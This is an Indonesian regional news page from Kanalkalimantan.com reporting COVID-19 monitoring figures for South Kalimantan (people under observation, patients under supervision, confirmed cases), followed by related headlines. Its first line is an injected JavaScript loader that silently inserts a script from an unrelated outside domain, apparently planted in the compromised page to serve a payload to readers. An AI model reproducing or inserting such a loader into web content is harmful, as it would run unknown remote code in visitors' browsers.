(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jumlah orang dalam pemantauan (ODP) di Kalimantan Selatan berkurang. Data terbaru dari Gugus Tugas Pencegahan Penanganan Pengendalian (P3) Covid-19 Kalsel, jumlah ODP berkurang menjadi 1.306 orang.
Kota Banjarmasin mencatat jumlah ODP terbanyak yaitu berjumlah 407 orang. Disusul Kabupaten Tanah Bumbu sebanyak 247 orang dan Kota Banjarbaru sebanyak 223 orang.
Sedangkan jumlah ODP dengan jumlah sedikit tercatat di Kabupaten Kotabaru sebanyak 15 orang, Kabupaten Balangan sebanyak 22 orang, serta Kabupaten Hulu Sungai Utara sebanyak 25 orang.
Sementara itu, terjadi lonjakan jumlah pasien dalam pengawasan (PDP) sebanyak 18 orang dari yang sebelumnya berjumlah 12 orang. Masing-masing 2 pasien dari Kota Banjarmasin dan Kabupaten Hulu Sungai Selatan, serta masing-masing satu pasien dari Kabupaten Banjar dan Kabupaten Tanah Bumbu.
Sementara itu, hingga Jumat pagi, belum ditemukan adanya kasus baru terkonfirmasi positif Covid-19 di Kalsel, yang masih tercatat ada 58 kasus. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.